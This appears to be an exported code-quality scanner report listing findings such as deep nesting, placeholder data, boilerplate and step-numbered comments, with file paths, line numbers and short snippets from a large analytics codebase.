LOW…s/src/cdp/services/messaging/email-tracking.service.ts101 // Only carry distinct_id in the in-email pixel/redirect URLs in dev/test, where those handlersCOMMENT
LOW…src/cdp/services/messaging/email-validation.service.ts21})COMMENT
LOWnodejs/src/ingestion/ingestion-consumer.test.ts1121 // x: 1020,COMMENT
LOWnodejs/src/ingestion/framework/batching-pipeline.ts121 // pushes its elements into the sub-pipeline; lets the pump tell a feed thatCOMMENT
LOWnodejs/src/ingestion/framework/batching-pipeline.ts161 ) {COMMENT
LOW…s/src/ingestion/pipelines/ai/costs/input-costs.test.ts1181 const result = calculateInputCost(event, vercelAnthropicAudioModel)COMMENT
LOW…s/src/ingestion/pipelines/ai/otel/attribute-mapping.ts241 | 'created'COMMENT
LOW…lines/analytics/post-team-preprocessing-subpipeline.ts101 // Refresh TTLs for overflow lane events (keeps Redis flags alive)COMMENT
LOW…s/src/ingestion/common/persons/person-merge-service.ts221 // Overrides are only created when the version is > 0, see:COMMENT
LOW…s/src/ingestion/common/persons/person-merge-service.ts301 if (insertedDistinctId1 && insertedDistinctId2) {COMMENT
LOWnodejs/src/ingestion/common/outputs/producers.ts1import type { AllowedConfigKey } from '~/common/outputs/kafka-producer-config'COMMENT
LOWnodejs/src/common/redis/redis-token-bucket-v3.lua.ts1import { Redis } from 'ioredis'COMMENT
LOWnodejs/src/common/utils/utils.ts281 // 4 bits for ver = 0b111 (7)COMMENT
LOWnodejs/src/common/api/router.ts81const buildGetHealth =COMMENT
LOWnodejs/src/logs/sampling-drop-probe-curl.sh1#!/usr/bin/env bashCOMMENT
LOWnodejs/src/logs/sampling-seed-services-curl.sh1#!/usr/bin/env bashCOMMENT
LOWnodejs/src/servers/ingestion-api-server.ts441COMMENT
1602 more matches not shown…
Deep Nesting1784 hits · 1569 pts
SeverityFileLineSnippetContext
LOWtools/test_selection_verdict.py47CODE
LOWtools/test_selection_verdict.py156CODE
LOWtools/snob_backend_test_selection_shadow.py177CODE
LOWtools/snob_backend_test_selection_shadow.py403CODE
LOW…ai/sandboxed_autoresearch_agent/driver/run_campaign.py201CODE
LOW…e_ai/sandboxed_autoresearch_agent/driver/sandboxing.py78CODE
LOW…ce-ai/query_performance_ai/orchestrator/coordinator.py195CODE
LOW…ce-ai/query_performance_ai/orchestrator/coordinator.py637CODE
LOWtools/infra-scripts/clitools/test_toolbox.py828CODE
LOWtools/infra-scripts/clitools/test_toolbox.py1207CODE
LOWtools/infra-scripts/clitools/test_toolbox.py836CODE
LOWtools/infra-scripts/clitools/toolbox.py61CODE
LOWtools/infra-scripts/clitools/toolbox/pod.py28CODE
LOWtools/infra-scripts/clitools/toolbox/pod.py141CODE
LOWtools/hogli/src/hogli/command_types.py337CODE
LOWtools/hogli/src/hogli/command_types.py402CODE
LOWtools/hogli/src/hogli/cli.py295CODE
LOWtools/hogli/src/hogli/cli.py520CODE
LOWtools/pr-approval-agent/familiarity.py156CODE
LOWtools/pr-approval-agent/familiarity.py237CODE
LOWtools/pr-approval-agent/familiarity.py291CODE
LOWtools/pr-approval-agent/gates.py360CODE
LOWtools/pr-approval-agent/reviewer.py283CODE
LOWtools/pr-approval-agent/reviewer.py418CODE
LOWtools/pr-approval-agent/review_pr.py653CODE
LOWtools/pr-approval-agent/github.py343CODE
LOWtools/hogli-commands/hogli_commands/metabase.py69CODE
LOWtools/hogli-commands/hogli_commands/metabase.py190CODE
LOWtools/hogli-commands/hogli_commands/db_schema.py265CODE
LOWtools/hogli-commands/hogli_commands/db_schema.py299CODE
LOWtools/hogli-commands/hogli_commands/test_runner.py65CODE
LOWtools/hogli-commands/hogli_commands/test_runner.py401CODE
LOWtools/hogli-commands/hogli_commands/test_runner.py556CODE
LOWtools/hogli-commands/hogli_commands/test_runner.py591CODE
LOWtools/hogli-commands/hogli_commands/migrations.py97CODE
LOWtools/hogli-commands/hogli_commands/migrations.py503CODE
LOWtools/hogli-commands/hogli_commands/migrations.py546CODE
LOWtools/hogli-commands/hogli_commands/migrations.py683CODE
LOWtools/hogli-commands/hogli_commands/migrations.py787CODE
LOWtools/hogli-commands/hogli_commands/doctor.py295CODE
LOWtools/hogli-commands/hogli_commands/doctor.py740CODE
LOWtools/hogli-commands/hogli_commands/doctor.py888CODE
LOWtools/hogli-commands/hogli_commands/doctor.py1423CODE
LOWtools/hogli-commands/hogli_commands/doctor.py1552CODE
LOWtools/hogli-commands/hogli_commands/prechecks.py15CODE
LOWtools/hogli-commands/hogli_commands/worktrees.py460CODE
LOWtools/hogli-commands/hogli_commands/worktrees.py750CODE
LOWtools/hogli-commands/hogli_commands/devenv/wizard.py148CODE
LOWtools/hogli-commands/hogli_commands/devenv/generator.py546CODE
LOWtools/hogli-commands/hogli_commands/devenv/generator.py127CODE
LOWtools/hogli-commands/hogli_commands/product/checks.py195CODE
LOWtools/hogli-commands/hogli_commands/product/checks.py379CODE
LOW…s/hogli-commands/hogli_commands/product/ast_helpers.py38CODE
LOW…s/hogli-commands/hogli_commands/product/ast_helpers.py50CODE
LOW…s/hogli-commands/hogli_commands/product/ast_helpers.py120CODE
LOW…s/hogli-commands/hogli_commands/product/ast_helpers.py136CODE
LOW…s/hogli-commands/hogli_commands/product/ast_helpers.py176CODE
LOW…s/hogli-commands/hogli_commands/product/ast_helpers.py213CODE
LOWtools/hogli-commands/hogli_commands/product/isolate.py79CODE
LOWtools/hogli-commands/hogli_commands/product/isolate.py154CODE
1724 more matches not shown…
Hallucination Indicators115 hits · 1165 pts
SeverityFileLineSnippetContext
CRITICALnodejs/src/cdp/services/messaging/email.service.test.ts632 const trackingHeader = sentCommand.input.Content.Simple.Headers.find(CODE
CRITICAL…ion/pipelines/sessionreplay/parse-message-step.test.ts451 expect(result.value.parsedMessage.eventsRange.start.toMillis()).toBe(fixedTimeMs)CODE
CRITICAL…ion/pipelines/sessionreplay/parse-message-step.test.ts452 expect(result.value.parsedMessage.eventsRange.end.toMillis()).toBe(fixedTimeMs + 5000)CODE
CRITICAL…ion/pipelines/sessionreplay/parse-message-step.test.ts527 expect(result.value.parsedMessage.eventsRange.start.toMillis()).toBe(sixDaysInPast)CODE
CRITICAL…ion/pipelines/sessionreplay/parse-message-step.test.ts528 expect(result.value.parsedMessage.eventsRange.end.toMillis()).toBe(sixDaysInFuture)CODE
CRITICALnodejs/src/common/temporal/codec.ts119 data: this.encrypt(temporal.api.common.v1.Payload.encode(p).finish()),CODE
CRITICALnodejs/src/common/temporal/codec.ts131 return temporal.api.common.v1.Payload.decode(decrypted)CODE
CRITICALproducts/demo/backend/logic/products/hedgebox/matrix.py12from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/slack_app/backend/api.py14from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/slack_app/backend/slack_link_unfurl.py9from django.core.exceptions import ValidationErrorCODE
CRITICAL…lack_app/backend/tests/services/test_slack_settings.py6from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/slack_app/backend/services/slack_app_home.py23from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/slack_app/backend/services/slack_settings.py156 from django.core.exceptions import ValidationErrorCODE
CRITICAL…ckend/temporal/destinations/azure_blob_batch_export.py7from azure.core.exceptions import HttpResponseErrorCODE
CRITICAL…/destinations/azure_blob/test_workflow_error_states.py9from azure.core.exceptions import ClientAuthenticationError, ResourceNotFoundErrorCODE
CRITICAL…ch_exports/backend/api/destination_tests/azure_blob.py37 from azure.core.exceptions import ClientAuthenticationError, ResourceNotFoundError, ServiceRequestErrorCODE
CRITICALproducts/cdp/backend/models/hook.py3from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/cdp/backend/api/hooks.py4from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/feature_flags/backend/models/feature_flag.py9from django.core.exceptions import ValidationErrorCODE
CRITICAL…ics/backend/models/marketing_analytics_goal_mapping.py1from django.core.exceptions import ValidationErrorCODE
CRITICAL…ckend/hogql_queries/test_marketing_analytics_config.py4from django.core.exceptions import ValidationErrorCODE
CRITICAL…alytics/backend/hogql_queries/adapters/test_factory.py7from django.core.exceptions import ValidationErrorCODE
CRITICAL…/backend/hogql_queries/error_tracking_query_builder.py4from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/tasks/backend/models.py22from django.core.exceptions import ValidationErrorCODE
CRITICAL…k/activities/tests/test_get_task_processing_context.py4from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/tasks/backend/tests/test_models.py9from django.core.exceptions import ValidationErrorCODE
CRITICAL…use/backend/presentation/views/external_data_source.py12from django.core.exceptions import ValidationError as DjangoValidationErrorCODE
CRITICALproducts/user_interviews/backend/max_tools.py5from django.core.exceptions import ValidationError as DjangoValidationErrorCODE
CRITICALproducts/user_interviews/backend/presentation/views.py8from django.core.exceptions import ValidationError as DjangoValidationErrorCODE
CRITICAL…backend/hogql_queries/experiment_mean_query_builder.py180 events_join_key_parts = cast(list[str | int], self._b.metric.source.events_join_key.split("."))STRING
CRITICAL…/backend/management/commands/reingest_signal_report.py5from django.core.exceptions import ValidationErrorCODE
CRITICAL…tics/backend/hogql_queries/paths/paths_query_runner.py731 table.select_from.table.select_from.table.select.extend( # type: ignore[union-attr]CODE
CRITICALproducts/workflows/backend/api/hog_flow.py8from django.core.exceptions import ValidationError as DjangoValidationErrorCODE
CRITICAL…a_modeling/backend/models/datawarehouse_saved_query.py8from django.core.exceptions import ValidationErrorCODE
CRITICAL…ducts/data_modeling/backend/models/github_sync_plan.py1from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/growth/backend/admin.py6from django.core.exceptions import ValidationErrorCODE
CRITICAL…scriptions/ai_subscription/test/test_spec_generator.py173 mock_chat.return_value.with_structured_output.return_value.invoke.configure_mock(**invoke_config)CODE
CRITICAL…cts/exports/backend/tasks/test/test_failure_handler.py3from django.core.exceptions import ValidationError as DjangoValidationErrorCODE
CRITICALproducts/alerts/backend/max_tools.py4from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/alerts/backend/models/alert.py6from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/web_analytics/backend/api/heatmaps_api.py5from django.core.exceptions import FieldErrorCODE
CRITICALproducts/logs/backend/models.py7from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/logs/backend/test/test_models.py6from django.core.exceptions import ValidationErrorCODE
CRITICAL…kend/management/commands/reset_duckgres_failed_runs.py1from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/customer_analytics/backend/max_tools.py4from django.core.exceptions import ValidationErrorCODE
CRITICAL…omer_analytics/backend/logic/custom_property_values.py14from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/customer_analytics/backend/facade/api.py24from django.core.exceptions import ValidationErrorCODE
CRITICAL…ucts/customer_analytics/backend/models/account_test.py6from django.core.exceptions import ValidationError as DjangoValidationErrorCODE
CRITICALproducts/customer_analytics/backend/models/account.py5from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/dashboards/backend/models/dashboard_tile.py1from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/dashboards/backend/api/dashboard.py14from django.core.exceptions import ValidationError as DjangoValidationErrorCODE
CRITICALproducts/replay_vision/backend/tests/test_quota.py6from django.core.exceptions import ValidationErrorCODE
CRITICAL…cts/replay_vision/backend/models/replay_quota_grant.py1from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/legal_documents/backend/admin.py5from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/legal_documents/backend/tests/test_admin.py8from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/legal_documents/backend/presentation/views.py4from django.core.exceptions import ValidationError as DjangoValidationErrorCODE
CRITICAL…ai_observability/backend/models/model_configuration.py1from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/ai_observability/backend/models/taggers.py3from django.core.exceptions import ValidationErrorCODE
CRITICAL…s/ai_observability/backend/models/test/test_taggers.py4from django.core.exceptions import ValidationErrorCODE
CRITICALproducts/business_knowledge/backend/api/views.py7from django.core.exceptions import ValidationError as DjangoValidationErrorCODE
55 more matches not shown…
Fake / Example Data826 hits · 915 pts
SeverityFileLineSnippetContext
LOWnodejs/tests/ingestion/person-updates-e2e.test.ts691 $set: { email: 'user@example.com' },CODE
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts4120 $set: { email: 'user@example.com', name: 'Identified User' },CODE
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts4136 email: 'user@example.com',CODE
LOWnodejs/src/cdp/cdp-api.test.ts62 name: 'Jane Doe',CODE
LOWnodejs/src/cdp/cdp-api.test.ts204 "name": "Jane Doe",CODE
LOWnodejs/src/cdp/cdp-api.test.ts499 "name": "Jane Doe",CODE
LOWnodejs/src/cdp/_tests/fixtures-hogflows.ts48 name: 'John Doe',CODE
LOWnodejs/src/cdp/_tests/fixtures-hogflows.ts50 name: 'John Doe',CODE
LOWnodejs/src/cdp/utils/hog-function-filtering.test.ts38 properties: { name: 'Acme Corp' },CODE
LOWnodejs/src/cdp/utils/hog-function-filtering.test.ts69 "name": "Acme Corp",CODE
LOWnodejs/src/cdp/utils/hog-function-filtering.test.ts146 person_properties: JSON.stringify({ name: 'John Doe' }),CODE
LOWnodejs/src/cdp/utils/hog-function-filtering.test.ts155 properties: { name: 'John Doe' },CODE
LOWnodejs/src/cdp/utils/hog-function-filtering.test.ts162 properties: { name: 'John Doe' },CODE
LOWnodejs/src/cdp/utils/hog-function-filtering.test.ts178 group0_properties: JSON.stringify({ name: 'Acme Corp' }),CODE
LOWnodejs/src/cdp/utils/hog-function-filtering.test.ts192 expect(result.group_0).toEqual({ properties: { name: 'Acme Corp' } })CODE
LOWnodejs/src/cdp/consumers/cdp-events-consumer.test.ts999 group_properties: { name: 'Acme Inc', industry: 'Tech' },CODE
LOWnodejs/src/cdp/consumers/cdp-events-consumer.test.ts1068 properties: { name: 'Acme Inc', industry: 'Tech' },CODE
LOWnodejs/src/cdp/consumers/cdp-events-consumer.test.ts1103 properties: { name: 'Acme Inc', industry: 'Tech' },CODE
LOW…p/templates/_destinations/unify/unify.template.test.ts95 properties: { company_domain: 'acme.com', company_name: 'Acme Inc' },CODE
LOW…p/templates/_destinations/unify/unify.template.test.ts108 name: 'Acme Inc',CODE
LOW…templates/_destinations/accoil/accoil.template.test.ts35 name: 'John Doe',CODE
LOW…templates/_destinations/accoil/accoil.template.test.ts42 name: 'John Doe',CODE
LOW…templates/_destinations/accoil/accoil.template.test.ts50 user_name: 'John Doe',CODE
LOW…templates/_destinations/accoil/accoil.template.test.ts65 name: 'John Doe',CODE
LOW…templates/_destinations/accoil/accoil.template.test.ts180 name: 'Acme Corp',CODE
LOW…templates/_destinations/accoil/accoil.template.test.ts191 group_name: 'Acme Corp',CODE
LOW…templates/_destinations/accoil/accoil.template.test.ts204 name: 'Acme Corp',CODE
LOW…templates/_destinations/accoil/accoil.template.test.ts412 company: 'Acme Corp',CODE
LOW…templates/_destinations/accoil/accoil.template.test.ts419 user_name: 'John Doe',CODE
LOW…templates/_destinations/accoil/accoil.template.test.ts430 name: 'John Doe',CODE
LOW…templates/_destinations/accoil/accoil.template.test.ts543 name: 'John Doe',CODE
LOW…templates/_destinations/accoil/accoil.template.test.ts546 company: 'Acme Corp',CODE
LOW…templates/_destinations/accoil/accoil.template.test.ts552 user_name: 'John Doe',CODE
LOW…templates/_destinations/accoil/accoil.template.test.ts562 name: 'John Doe',CODE
LOW…templates/_destinations/accoil/accoil.template.test.ts583 name: 'Acme Corp',CODE
LOW…templates/_destinations/accoil/accoil.template.test.ts594 group_name: 'Acme Corp',CODE
LOW…templates/_destinations/accoil/accoil.template.test.ts604 name: 'Acme Corp',CODE
LOW…p/templates/_destinations/klime/klime.template.test.ts170 $group_set: { name: 'Acme Inc' },CODE
LOW…p/templates/_destinations/klime/klime.template.test.ts179 expect(batchEvent.traits).toEqual({ name: 'Acme Inc' })CODE
LOW…p/templates/_destinations/klime/klime.template.test.ts235 $group_set: { name: 'Acme Inc', plan: 'enterprise', $initial_os: 'Mac OS X' },CODE
LOW…p/templates/_destinations/klime/klime.template.test.ts243 expect(parseBatchEvent(response).traits).toEqual({ name: 'Acme Inc', plan: 'enterprise' })CODE
LOW…/_destinations/firebase_push/firebase_push.template.ts72 requiredScopes: 'placeholder',CODE
LOW…/cdp/templates/_destinations/twilio/twilio.template.ts64 requiredScopes: 'placeholder',CODE
LOW…emplates/_sources/stripe/__tests__/stripe-webhook.json39 "customer_email": "test@test.com",CODE
LOW…tions/hash-properties/hash-properties.template.test.ts41 name: 'John Doe',CODE
LOW…tions/hash-properties/hash-properties.template.test.ts62 expect(result.properties.name).toMatch(sha256('John Doe'))CODE
LOW…tions/hash-properties/hash-properties.template.test.ts69 expect(result.properties.name).not.toBe('John Doe')CODE
LOW…tions/hash-properties/hash-properties.template.test.ts80 name: 'John Doe',CODE
LOW…tions/hash-properties/hash-properties.template.test.ts103 expect(result.properties.$set?.name).toMatch(sha256('John Doe'))CODE
LOW…tions/hash-properties/hash-properties.template.test.ts177 name: 'John Doe',CODE
LOW…tions/hash-properties/hash-properties.template.test.ts196 expect(result.properties.name).toBe('John Doe')CODE
LOW…tions/hash-properties/hash-properties.template.test.ts205 name: 'John Doe',CODE
LOW…tions/hash-properties/hash-properties.template.test.ts224 expect(result.properties.name).toMatch(sha256('John Doe'))CODE
LOW…dp/legacy-plugins/_destinations/sendgrid/index.test.ts96 distinct_id: 'user0@example.org',CODE
LOW…dp/legacy-plugins/_destinations/sendgrid/index.test.ts104 email: 'user1@example.org',CODE
LOW…dp/legacy-plugins/_destinations/sendgrid/index.test.ts124 email: 'user0@example.org',CODE
LOW…dp/legacy-plugins/_destinations/sendgrid/index.test.ts142 email: 'user1@example.org',CODE
LOW…tions/posthog-anonymization/tests/processEvent.test.ts21 name: 'John Doe',CODE
LOWnodejs/src/cdp/services/hog-executor.service.test.ts2233 to: { email: 'user@example.com' },CODE
LOWnodejs/src/cdp/services/hog-executor.service.test.ts2261 to: { email: 'user@example.com' },CODE
766 more matches not shown…
Modern Structural Boilerplate891 hits · 909 pts
SeverityFileLineSnippetContext
LOWtools/hogli/src/hogli/telemetry.py154 def set_enabled(self, enabled: bool) -> None:CODE
LOWtools/hogli/src/hogli/telemetry.py296def set_enabled(enabled: bool) -> None:CODE
LOWtools/hogbox-preview/hogbox_preview/__init__.py16__all__ = [CODE
LOWtools/hogli-commands/hogli_commands/devenv/__init__.py25__all__ = [CODE
LOWtools/hogli-commands/hogli_commands/product/__init__.py7__all__ = [CODE
LOWtools/hogli-commands/hogli_commands/devbox/coder.py1425def update_workspace_parameters(name: str, parameters: dict[str, str]) -> None:CODE
LOW…s/hogli-commands/hogli_commands/workflow_lint/check.py62__all__ = ["CheckResult", "Issue", "WorkflowCheck"]CODE
LOW…s/hogli-commands/hogli_commands/workflow_lint/model.py190__all__ = [CODE
LOW…mmands/hogli_commands/workflow_lint/checks/__init__.py60__all__ = ["CHECKS", "get_check"]CODE
LOWtools/traffic-sim/cli.py333async def _set_browserstack_status(page: Page, passed: bool, reason: str = "") -> None:CODE
LOWproducts/managed_migrations/backend/models/__init__.py3__all__ = [CODE
LOWproducts/demo/backend/logic/products/__init__.py4__all__ = ["HedgeboxMatrix", "SpikeGPTMatrix"]CODE
LOWproducts/demo/backend/logic/products/hedgebox/matrix.py1802 def _set_up_demo_oauth_application(self, team: "Team", user: "User") -> None:CODE
LOWproducts/demo/backend/logic/products/hedgebox/matrix.py1608 def _set_up_file_engagement_experiment(self, team: "Team", user: "User", flag: FeatureFlag) -> None:CODE
LOWproducts/demo/backend/logic/products/hedgebox/matrix.py1833 def _set_up_error_tracking_demo_data(self, team: "Team") -> None:CODE
LOWproducts/demo/backend/logic/products/hedgebox/matrix.py2136 def _set_up_demo_data_warehouse_tables(self, team: "Team", user: "User") -> None:CODE
LOW…ducts/demo/backend/logic/products/hedgebox/__init__.py19__all__ = ["HedgeboxMatrix"]CODE
LOW…ducts/demo/backend/logic/products/spikegpt/__init__.py5__all__ = ["SpikeGPTMatrix"]CODE
LOWproducts/demo/backend/logic/matrix/__init__.py5__all__ = ["Matrix", "MatrixManager"]CODE
LOWproducts/demo/backend/facade/api.py59__all__ = [CODE
LOWproducts/mcp_store/backend/admin.py11logger = logging.getLogger(__name__)CODE
LOWproducts/mcp_store/backend/tasks/__init__.py4__all__ = ["sync_installation_tools_task"]CODE
LOWproducts/slack_app/backend/inbox_channel.py41def _set_team_channel(team_id: int, value: str) -> None:CODE
LOWproducts/slack_app/backend/slack_thread.py163 def update_reaction(self, emoji: str) -> None:CODE
LOW…p/backend/tests/test_channel_approval_interactivity.py113 def _set_signing_secret(self, mock_slack_cls: Any) -> None:CODE
LOWproducts/slack_app/backend/tests/helpers.py3__all__ = ["sign_slack_request"]CODE
LOW…ervices/slack_messages/test_collect_thread_messages.py329 def _set_thread(self, messages: list[dict]) -> None:CODE
LOWproducts/slack_app/backend/facade/slack_settings.py15__all__ = [CODE
LOWproducts/slack_app/backend/views/__init__.py11__all__ = ["slack_app_command_handler", "slack_user_link_authorize", "slack_user_link_callback"]CODE
LOWproducts/slack_app/backend/services/slack_settings.py188__all__ = [CODE
LOWproducts/metrics/backend/facade/queries.py11__all__ = ["MetricsQueryRunner"]CODE
LOWproducts/metrics/backend/presentation/api.py43__all__ = ["MetricsViewSet"]CODE
LOWproducts/batch_exports/backend/temporal/__init__.py18__all__ = ["ACTIVITIES", "WORKFLOWS"]CODE
LOWproducts/batch_exports/backend/temporal/spmc.py95 def set_schema(self, record_batch: pa.RecordBatch) -> None:CODE
LOW…atch_exports/backend/temporal/backfill_batch_export.py136async def update_batch_export_backfill_model(inputs: UpdateBatchExportBackfillInputs) -> None:CODE
LOW…ts/batch_exports/backend/temporal/pipeline/consumer.py158 def _set_stage_attribution_span_attributes(self, span: trace.Span, elapsed: float) -> None:CODE
LOWproducts/batch_exports/backend/facade/models.py9__all__ = ["BatchExportRun"]CODE
LOWproducts/batch_exports/backend/models/__init__.py11__all__ = [CODE
LOWproducts/batch_exports/backend/debug/debugger.py185 def set_batch_export_from_loaded(self, batch_export: BatchExport | str | int | uuid.UUID | None = None) -> None:CODE
LOWproducts/cdp/backend/tasks/__init__.py3__all__ = ["hog_functions"]CODE
LOWproducts/cdp/backend/facade/models.py9__all__ = ["HogFunction", "HogFunctionState", "HogFunctionType"]CODE
LOWproducts/cdp/backend/models/__init__.py16__all__ = [CODE
LOWproducts/cdp/backend/models/hog_functions/__init__.py3__all__ = ["HogFunction", "HogFunctionState"]CODE
LOWproducts/feature_flags/backend/tasks.py42def update_team_flags_cache(team_id: int) -> None:CODE
LOWproducts/feature_flags/backend/tasks.py69def update_team_service_flags_cache(team_id: int) -> None:CODE
LOWproducts/feature_flags/backend/tasks.py194def _set_ranked_team_gauge(gauge: Gauge, rows: list[dict], value_key: str) -> None:CODE
LOWproducts/feature_flags/backend/models/__init__.py7__all__ = [CODE
LOW…ture_flags/backend/models/team_feature_flags_config.py7logger = logging.getLogger(__name__)CODE
LOW…gs/backend/models/team_feature_flag_defaults_config.py7logger = logging.getLogger(__name__)CODE
LOWproducts/feature_flags/backend/api/feature_flag.py113logger = logging.getLogger(__name__)CODE
LOWproducts/feature_flags/backend/api/feature_flag.py2195def _update_feature_flag_dashboard(feature_flag: FeatureFlag, old_key: str) -> None:CODE
LOW…eature_flags/backend/api/test/test_scheduled_change.py850 def _set_flag_access(self, flag: FeatureFlag, access_level: str) -> None:CODE
LOWproducts/mcp_analytics/backend/facade/queries.py19__all__ = [CODE
LOWproducts/marketing_analytics/backend/models/__init__.py3__all__ = ["MarketingAnalyticsGoalMapping"]CODE
LOW…ckend/hogql_queries/test_marketing_analytics_config.py23 def _set_attribution_mode(self, mode: AttributionMode) -> None:CODE
LOWproducts/error_tracking/backend/temporal/__init__.py40__all__ = [CODE
LOW…g/backend/temporal/recommendations_refresh/__init__.py12__all__ = [CODE
LOW…acking/backend/temporal/symbol_set_cleanup/__init__.py7__all__ = [CODE
LOW…cking/backend/temporal/spike_event_cleanup/__init__.py7__all__ = [CODE
LOW…kend/temporal/fingerprint_embedding_result/__init__.py11__all__ = [CODE
831 more matches not shown…
Structural Annotation Overuse471 hits · 833 pts
SeverityFileLineSnippetContext
LOW…c/cdp/consumers/cdp-cohort-membership.consumer.test.ts100 // Step 1: Person enters the cohortCOMMENT
LOW…c/cdp/consumers/cdp-cohort-membership.consumer.test.ts126 // Step 2: Person leaves the cohortCOMMENT
LOW…c/cdp/consumers/cdp-cohort-membership.consumer.test.ts154 // Step 3: Person re-enters the cohortCOMMENT
LOW…rc/cdp/consumers/cdp-precalculated-filters.consumer.ts180 // Step 1: Parse all messages and group by team_idCOMMENT
LOW…rc/cdp/consumers/cdp-precalculated-filters.consumer.ts205 // Step 2: Fetch all realtime supported filters for all teams in one queryCOMMENT
LOW…rc/cdp/consumers/cdp-precalculated-filters.consumer.ts209 // Step 3: Process each team's events with their realtime supported filtersCOMMENT
LOW…cdp/services/hogflows/hogflow-executor.service.test.ts602 // Step 1: run first action (function_id_1)COMMENT
LOW…cdp/services/hogflows/hogflow-executor.service.test.ts621 // Step 2: run again, should NOT exit early due to exit_only_at_endCOMMENT
LOW…cdp/services/hogflows/hogflow-executor.service.test.ts2191 // Step 1: Hogflow worker executes (queue !== 'email') — should route to email queueCOMMENT
LOW…cdp/services/hogflows/hogflow-executor.service.test.ts2197 // Step 2: Email worker picks up the job (queue === 'email') — should send inline and continueCOMMENT
LOW…ejs/src/ingestion/framework/docs/12-filter-map.test.ts64 // Step 1: Resolve team from teamId (some lookups may fail)COMMENT
LOW…ejs/src/ingestion/framework/docs/12-filter-map.test.ts81 // Step 2: Process event (runs within teamAware context)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts15// Step 1: UUIDs and request IDs (e.g., req_abc123, 550e8400-e29b-41d4-a716-446655440000)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts18// Step 2: ISO timestamps (e.g., 2025-11-08T14:25:51.767Z)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts21// Step 3: Cloud resource paths (e.g., projects/123/locations/us-west2/publishers/google/models/gemini-pro)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts24// Step 4: ResponseId JSON fields (e.g., "responseId":"h2sPacmZI4OWvPEPvIS16Ac")COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts27// Step 5: Generic JSON "id" fields (e.g., "id": "oJf6eVw-z1gNr-99c2d11d156dff07")COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts36// Step 7: Function call IDs (e.g., function call call_edLiisyOJybNZLouC6MCNxyC)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts39// Step 8: User IDs (e.g., 'user_id': 'user_32yQoBNWxpvzxVJG0S0zxnnVSCJ')COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts43// Step 9: Memory object IDs / hex addresses (e.g., 0xfffced405130)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts46// Step 10: Generic id='xxx' patterns (case insensitive)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts49// Step 11: Token counts (e.g., "tokenCount":7125 or "tokenCount": 7125)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts52// Step 12: Large numeric IDs (9+ digits, e.g., project IDs like 1234567890)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts55// Step 13: All remaining numbersCOMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts58// Step 14: Multiple whitespaceCOMMENT
LOW…tion/common/persons/batch-writing-person-store.test.ts1282 // Step 1: Cache the target person (simulating fetchForUpdate)COMMENT
LOW…tion/common/persons/batch-writing-person-store.test.ts1289 // Step 2: Update target person with merged properties (simulating updatePersonForMerge)COMMENT
LOW…tion/common/persons/batch-writing-person-store.test.ts1316 // Step 3: moveDistinctIds - this should preserve the merged cacheCOMMENT
LOW…tion/common/persons/batch-writing-person-store.test.ts1325 // Step 4: Verify that cached merged properties are preservedCOMMENT
LOW…tion/common/persons/batch-writing-person-store.test.ts1457 // Step 1: Cache target personCOMMENT
LOW…tion/common/persons/batch-writing-person-store.test.ts1464 // Step 2: Multiple merge operationsCOMMENT
LOW…tion/common/persons/batch-writing-person-store.test.ts1488 // Step 3: moveDistinctIdsCOMMENT
LOW…tion/common/persons/batch-writing-person-store.test.ts1496 // Step 4: Verify all merged properties are preservedCOMMENT
LOW…ommon/overflow-redirect/main-lane-overflow-redirect.ts81 // Step 1: Check local cacheCOMMENT
LOW…ommon/overflow-redirect/main-lane-overflow-redirect.ts105 // Step 2: Batch check Redis for cache misses using MGETCOMMENT
LOW…ommon/overflow-redirect/main-lane-overflow-redirect.ts132 // Step 3: Check rate limiter for unflagged keysCOMMENT
LOW…ommon/overflow-redirect/main-lane-overflow-redirect.ts150 // Step 4: Batch flag newly rate-limited keys in RedisCOMMENT
LOWtools/hogli-commands/hogli_commands/migrations.py854 # Step 1: Roll back orphaned migrationsCOMMENT
LOWtools/hogli-commands/hogli_commands/migrations.py876 # Step 2: Apply pendingCOMMENT
LOWtools/hogli-commands/hogli_commands/doctor.py613 # Step 1: Prune stale remote branchesCOMMENT
LOWtools/hogli-commands/hogli_commands/doctor.py619 # Step 2: Expire old reflogs (keep 30 days for safety)COMMENT
LOWtools/hogli-commands/hogli_commands/doctor.py625 # Step 3: Run gc --aggressive (this can take 1-2 minutes)COMMENT
LOWproducts/mcp_store/backend/oauth.py264 # Step 1: Try RFC 9728 Protected Resource Metadata to find the authorization serverCOMMENT
LOWproducts/mcp_store/backend/oauth.py293 # Step 2: Fall back to fetching authorization server metadata directly from the origin.COMMENT
